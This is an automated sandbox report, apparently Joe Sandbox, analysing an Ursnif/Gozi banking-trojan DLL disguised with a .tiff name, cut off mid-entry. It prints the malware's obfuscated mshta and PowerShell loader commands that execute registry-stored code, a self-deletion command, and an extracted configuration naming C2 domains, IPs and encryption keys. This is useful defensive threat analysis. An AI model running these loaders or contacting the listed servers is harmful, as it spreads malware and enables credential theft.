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Windows Analysis Report
626a983c091a8.tiff.dll

Overview

General Information

Sample Name:626a983c091a8.tiff.dll
Analysis ID:617384
MD5:388aa15c4d1a96534e7ca5587942fa0a
SHA1:a88e07643c07c8f75845c82c19cd928355d441b2
SHA256:abc6dfca9ad106cf41da3b6309a15e2a761991d2fad41662211b1afb1c2b0973
Tags:dllgozi_ifsbursnif3000
Infos:

Detection

Ursnif
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Yara detected Ursnif
System process connects to network (likely due to code injection or exploit)
Snort IDS alert for network traffic
Sigma detected: Windows Shell File Write to Suspicious Folder
Maps a DLL or memory area into another process
Writes to foreign memory regions
Changes memory attributes in foreign processes to executable or writable
Machine Learning detection for sample
Allocates memory in foreign processes
Uses ping.exe to check the status of other devices and networks
Self deletion via cmd delete
Sigma detected: MSHTA Spawning Windows Shell
Uses ping.exe to sleep
Injects code into the Windows Explorer (explorer.exe)
Sigma detected: Suspicious Call by Ordinal
Modifies the context of a thread in another process (thread injection)
Sigma detected: Mshta Spawning Windows Shell
Creates a thread in another existing process (thread injection)
Disables SPDY (HTTP compression, likely to perform web injects)
Writes registry values via WMI
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Found evasive API chain (date check)
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to query CPU information (cpuid)
Contains functionality to launch a process as a different user
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Found dropped PE file which has not been started or loaded
Contains long sleeps (>= 3 min)
Enables debug privileges
Creates a DirectInput object (often for capturing keystrokes)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sample file is different than original file name gathered from version info
PE file contains an invalid checksum
Searches for the Microsoft Outlook file path
PE file contains strange resources
Drops PE files
Uses a known web browser user agent for HTTP communication
Checks if the current process is being debugged
Sigma detected: Suspicious Csc.exe Source File Folder
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Compiles C# or VB.Net code
Found large amount of non-executed APIs
Creates a process in suspended mode (likely to inject code)

Classification

  • System is w10x64
  • loaddll32.exe (PID: 3332 cmdline: loaddll32.exe "C:\Users\user\Desktop\626a983c091a8.tiff.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)
    • cmd.exe (PID: 2012 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\626a983c091a8.tiff.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • rundll32.exe (PID: 4956 cmdline: rundll32.exe "C:\Users\user\Desktop\626a983c091a8.tiff.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
        • control.exe (PID: 6784 cmdline: C:\Windows\system32\control.exe -h MD5: 625DAC87CB5D7D44C5CA1DA57898065F)
  • mshta.exe (PID: 6312 cmdline: C:\Windows\System32\mshta.exe" "about:<hta:application><script>Ssif='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Ssif).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script> MD5: 197FC97C6A843BEBB445C1D9C58DCBDB)
    • powershell.exe (PID: 6476 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name jxrvwmqrt -value gp; new-alias -name xfmkywxojr -value iex; xfmkywxojr ([System.Text.Encoding]::ASCII.GetString((jxrvwmqrt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) MD5: 95000560239032BC68B4C2FDFCDEF913)
      • conhost.exe (PID: 6488 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • csc.exe (PID: 6648 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\o1ulwvct\o1ulwvct.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)
        • cvtres.exe (PID: 6732 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES9868.tmp" "c:\Users\user\AppData\Local\Temp\o1ulwvct\CSC9597862635B74071BA42F3284427E86E.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)
      • csc.exe (PID: 6756 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tn4ral5l\tn4ral5l.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)
        • cvtres.exe (PID: 6792 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA96F.tmp" "c:\Users\user\AppData\Local\Temp\tn4ral5l\CSC7E5DF85510FF49B49113DD9CBF81BD4.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)
      • explorer.exe (PID: 3616 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)
        • cmd.exe (PID: 6244 cmdline: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\626a983c091a8.tiff.dll MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
          • conhost.exe (PID: 6368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
          • PING.EXE (PID: 6096 cmdline: ping localhost -n 5 MD5: 6A7389ECE70FB97BFE9A570DB4ACCC3B)
        • RuntimeBroker.exe (PID: 4440 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: C7E36B4A5D9E6AC600DD7A0E0D52DAC5)
  • cleanup
{"RSA Public Key": "+FflIsIAzGiUM0s27tuLbRAwZqYoqmNsTeF7rxG/Mwp38QqxThLLXpreOfEHBItOJka6enf+5fp9fT9wIfjoNQYondBMg0CXVUaaXZmXPw7dFUCTuwl/1fJ8Te0BDO4/e0D+MT+n6Ovzq2MwCzSIm7W4ZiEEkdm60WNeCsFwnx1f78Cv9j4wv9nLP3bFRx9OkdD66cn4ATsp0wULyGpOtly6uJj4gNSoIxbBBQeCFBEVhnqZ/KZ3/SbtJUJ3X757TgS02V8uV2DJldCmSy1UGDylgn9Cs1EUm4RQgf1fFSmTn7kcnOpsq0753wd2/m9Jbas3/WEwOA88vTsSUvhPp7zr8Ltl9tao4hrJvcTrul8=", "c2_domain": ["config.edge.skype.com", "cabrioxmdes.at", "hopexmder.net", "94.140.114.144", "94.140.112.49", "94.140.112.121"], "ip_check_url": ["http://ipinfo.io/ip", "http://curlmyip.net"], "serpent_key": "Jv1GYc8A8hCBIeVD", "tor32_dll": "file://c:\\test\\test32.dll", "tor64_dll": "file://c:\\test\\tor64.dll", "movie_capture": "30, 8, calc no*ad *terminal* *debug*", "server": "50", "sleep_time": "1", "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60", "time_value": "60", "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60", "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300", "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60", "not_use(CRC_BCTIMEOUT)": "10", "botnet": "3000", "SetWaitableTimer_value": "1"}
SourceRuleDescriptionAuthorStrings
00000019.00000000.368081484.0000000000D70000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
    00000002.00000003.253552130.0000000005008000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
      00000014.00000003.369171366.000001ED7862C000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
        00000002.00000002.418912961.0000000004C8F000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
          00000002.00000003.302561550.0000000004F0A000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
            Click to see the 21 entries
            SourceRuleDescriptionAuthorStrings
            2.2.rundll32.exe.2ca0000.0.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
              2.3.rundll32.exe.49494a0.10.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                2.3.rundll32.exe.49494a0.10.raw.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                  2.3.rundll32.exe.4f0a4a0.0.raw.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                    2.3.rundll32.exe.4f0a4a0.0.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                      Click to see the 2 entries

                      System Summary

                      barindex
                      Source: File createdAuthor: Florian Roth: Data: EventID: 11, Image: C:\Windows\System32\mshta.exe, ProcessId: 6312, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Caches
                      Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name jxrvwmqrt -value gp; new-alias -name xfmkywxojr -value iex; xfmkywxojr ([System.Text.Encoding]::ASCII.GetString((jxrvwmqrt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name jxrvwmqrt -value gp; new-alias -name xfmkywxojr -value iex; xfmkywxojr ([System.Text.Encoding]::ASCII.GetString((jxrvwmqrt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine|base64offset|contains: >jX, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\mshta.exe" "about:<hta:application><script>Ssif='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Ssif).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>, ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 6312, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name jxrvwmqrt -value gp; new-alias -name xfmkywxojr -value iex; xfmkywxojr ([System.Text.Encoding]::ASCII.GetString((jxrvwmqrt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), ProcessId: 6476, ProcessName: powershell.exe
                      Source: Process startedAuthor: Florian Roth: Data: Command: rundll32.exe "C:\Users\user\Desktop\626a983c091a8.tiff.dll",#1, CommandLine: rundll32.exe "C:\Users\user\Desktop\626a983c091a8.tiff.dll",#1, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\626a983c091a8.tiff.dll",#1, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 2012, ParentProcessName: cmd.exe, ProcessCommandLine: rundll32.exe "C:\Users\user\Desktop\626a983c091a8.tiff.dll",#1, ProcessId: 4956, ProcessName: rundll32.exe
                      Source: Process startedAuthor: Florian Roth: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name jxrvwmqrt -value gp; new-alias -name xfmkywxojr -value iex; xfmkywxojr ([System.Text.Encoding]::ASCII.GetString((jxrvwmqrt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name jxrvwmqrt -value gp; new-alias -name xfmkywxojr -value iex; xfmkywxojr ([System.Text.Encoding]::ASCII.GetString((jxrvwmqrt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine|base64offset|contains: >jX, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\mshta.exe" "about:<hta:application><script>Ssif='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Ssif).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>, ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 6312, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name jxrvwmqrt -value gp; new-alias -name xfmkywxojr -value iex; xfmkywxojr ([System.Text.Encoding]::ASCII.GetString((jxrvwmqrt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), ProcessId: 6476, ProcessName: powershell.exe
                      Source: Process startedAuthor: Florian Roth: Data: Command: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\o1ulwvct\o1ulwvct.cmdline, CommandLine: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\o1ulwvct\o1ulwvct.cmdline, CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name jxrvwmqrt -value gp; new-alias -name xfmkywxojr -value iex; xfmkywxojr ([System.Text.Encoding]::ASCII.GetString((jxrvwmqrt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6476, ParentProcessName: powershell.exe, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\o1ulwvct\o1ulwvct.cmdline, ProcessId: 6648, ProcessName: csc.exe
                      Source: File createdAuthor: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6476, TargetFilename: C:\Users\user\AppData\Local\Temp\o1ulwvct\o1ulwvct.cmdline
                      Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name jxrvwmqrt -value gp; new-alias -name xfmkywxojr -value iex; xfmkywxojr ([System.Text.Encoding]::ASCII.GetString((jxrvwmqrt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name jxrvwmqrt -value gp; new-alias -name xfmkywxojr -value iex; xfmkywxojr ([System.Text.Encoding]::ASCII.GetString((jxrvwmqrt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine|base64offset|contains: >jX, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\mshta.exe" "about:<hta:application><script>Ssif='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Ssif).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>, ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 6312, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name jxrvwmqrt -value gp; new-alias -name xfmkywxojr -value iex; xfmkywxojr ([System.Text.Encoding]::ASCII.GetString((jxrvwmqrt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), ProcessId: 6476, ProcessName: powershell.exe
                      Source: Pipe createdAuthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: PipeName: \PSHost.132956272794820055.6476.DefaultAppDomain.powershell
                      Source: Process startedAuthor: frack113: Data: Command: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, CommandLine: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, CommandLine|base64offset|contains: }}, Image: C:\Windows\System32\conhost.exe, NewProcessName: C:\Windows\System32\conhost.exe, OriginalFileName: C:\Windows\System32\conhost.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name jxrvwmqrt -value gp; new-alias -name xfmkywxojr -value iex; xfmkywxojr ([System.Text.Encoding]::ASCII.GetString((jxrvwmqrt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6476, ParentProcessName: powershell.exe, ProcessCommandLine: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, ProcessId: 6488, ProcessName: conhost.exe
                      Timestamp:04/28/22-15:47:50.266267 04/28/22-15:47:50.266267
                      SID:2033203
                      Source Port:49759
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:04/28/22-15:47:52.636763 04/28/22-15:47:52.636763
                      SID:2033203
                      Source Port:49759
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:04/28/22-15:47:51.337694 04/28/22-15:47:51.337694
                      SID:2033203
                      Source Port:49759
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected

                      Click to jump to signature section

                      Show All Signature Results

                      AV Detection

                      barindex
                      Source: 00000002